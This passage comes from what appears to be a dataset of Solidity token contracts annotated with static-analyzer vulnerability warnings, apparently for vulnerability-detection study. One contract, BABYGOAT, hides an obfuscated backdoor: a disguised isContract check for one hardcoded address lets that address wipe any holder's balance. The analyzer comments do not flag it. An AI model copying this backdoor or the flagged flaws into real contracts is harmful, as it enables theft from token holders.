{\n\t\t\t\t\t// reentrancy-events | ID: 8af0308\n\t\t\t\t\t// reentrancy-eth | ID: 360cdfc\n\t\t\t\t\t// reentrancy-eth | ID: 450b296\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 360cdfc\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 360cdfc\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 8af0308\n\t\t\t\t// reentrancy-eth | ID: 450b296\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8af0308\n\t\t\t\t\t// reentrancy-eth | ID: 450b296\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 450b296\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8af0308\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 450b296\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 450b296\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8af0308\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeFromBlackListwallets(\n address[] calldata addresses\n ) public onlyOwner {\n for (uint256 i; i < addresses.length; ++i) {\n _isBlacklisted[addresses[i]] = false;\n }\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8af0308\n\t\t// reentrancy-events | ID: 743897b\n\t\t// reentrancy-benign | ID: 03e45ec\n\t\t// reentrancy-eth | ID: 360cdfc\n\t\t// reentrancy-eth | ID: 450b296\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function addToBlackList(address[] calldata addresses) external onlyOwner {\n for (uint256 i; i < addresses.length; ++i) {\n _isBlacklisted[addresses[i]] = true;\n }\n }\n\n function release_AnyStuckETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: b93a9cf): PERCHI.release_AnyERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for b93a9cf: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function release_AnyERC20Tokens(\n address _tokenAddr,\n uint _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: b93a9cf\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function release_WalletsLimitations() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b3f2375): PERCHI.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b3f2375: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8af0308\n\t\t// reentrancy-events | ID: 743897b\n\t\t// reentrancy-eth | ID: 360cdfc\n\t\t// reentrancy-eth | ID: 450b296\n\t\t// arbitrary-send-eth | ID: b3f2375\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9ed098f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9ed098f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f924f08): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f924f08: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0b57084): PERCHI.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0b57084: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3c21bc3): PERCHI.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3c21bc3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9f14909): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9f14909: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9ed098f\n\t\t// reentrancy-benign | ID: f924f08\n\t\t// reentrancy-eth | ID: 9f14909\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f924f08\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: f924f08\n isExiled[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 9ed098f\n\t\t// unused-return | ID: 0b57084\n\t\t// reentrancy-eth | ID: 9f14909\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9ed098f\n\t\t// unused-return | ID: 3c21bc3\n\t\t// reentrancy-eth | ID: 9f14909\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 9ed098f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9f14909\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 9ed098f\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10665.sol",
"size_bytes": 23574,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"BABYGOAT\", unicode\"BABYGOAT\", 9, 1000000000) {}\n}\n",
"file_name": "solidity_code_10666.sol",
"size_bytes": 7300,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TESTY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0cea66d): TESTY._taxWallet should be immutable \n\t// Recommendation for 0cea66d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b0b823): TESTY._initialBuyTax should be constant \n\t// Recommendation for 8b0b823: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4fab085): TESTY._initialSellTax should be constant \n\t// Recommendation for 4fab085: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: c9ee9c7): TESTY._finalBuyTax should be constant \n\t// Recommendation for c9ee9c7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d5cda1): TESTY._finalSellTax should be constant \n\t// Recommendation for 2d5cda1: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 89e2a49): TESTY._reduceBuyTaxAt should be constant \n\t// Recommendation for 89e2a49: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: b72e727): TESTY._reduceSellTaxAt should be constant \n\t// Recommendation for b72e727: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2895f33): TESTY._preventSwapBefore should be constant \n\t// Recommendation for 2895f33: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"TESTY\";\n\n string private constant _symbol = unicode\"TESTY\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37cfc45): TESTY._taxSwapThreshold should be constant \n\t// Recommendation for 37cfc45: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 79d868e): TESTY._maxTaxSwap should be constant \n\t// Recommendation for 79d868e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 87d2948): TESTY.uniswapV2Router should be immutable \n\t// Recommendation for 87d2948: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 51a63cf): TESTY.uniswapV2Pair should be immutable \n\t// Recommendation for 51a63cf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: e180a80): TESTY.sellsPerBlock should be constant \n\t// Recommendation for e180a80: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: e1b3122): TESTY.buysFirstBlock should be constant \n\t// Recommendation for e1b3122: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 867f3aa): TESTY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 867f3aa: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8d0c7b3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8d0c7b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4bf64af): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4bf64af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8d0c7b3\n\t\t// reentrancy-benign | ID: 4bf64af\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8d0c7b3\n\t\t// reentrancy-benign | ID: 4bf64af\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 944433d): TESTY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 944433d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4bf64af\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8d0c7b3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 54cec92): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 54cec92: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 3e7d02d): TESTY._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 3e7d02d: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3ec8f0b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3ec8f0b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 88fb22e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 88fb22e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 3e7d02d\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 54cec92\n\t\t\t\t// reentrancy-eth | ID: 3ec8f0b\n\t\t\t\t// reentrancy-eth | ID: 88fb22e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 54cec92\n\t\t\t\t\t// reentrancy-eth | ID: 3ec8f0b\n\t\t\t\t\t// reentrancy-eth | ID: 88fb22e\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 88fb22e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 88fb22e\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 54cec92\n\t\t\t\t// reentrancy-eth | ID: 3ec8f0b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 54cec92\n\t\t\t\t\t// reentrancy-eth | ID: 3ec8f0b\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3ec8f0b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 54cec92\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3ec8f0b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3ec8f0b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 54cec92\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8d0c7b3\n\t\t// reentrancy-events | ID: 54cec92\n\t\t// reentrancy-benign | ID: 4bf64af\n\t\t// reentrancy-eth | ID: 3ec8f0b\n\t\t// reentrancy-eth | ID: 88fb22e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ec204f6): TESTY.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for ec204f6: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8d0c7b3\n\t\t// reentrancy-events | ID: 54cec92\n\t\t// reentrancy-eth | ID: 3ec8f0b\n\t\t// reentrancy-eth | ID: 88fb22e\n\t\t// arbitrary-send-eth | ID: ec204f6\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: a79d400): TESTY.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for a79d400: Use 'SafeERC20', or ensure that the 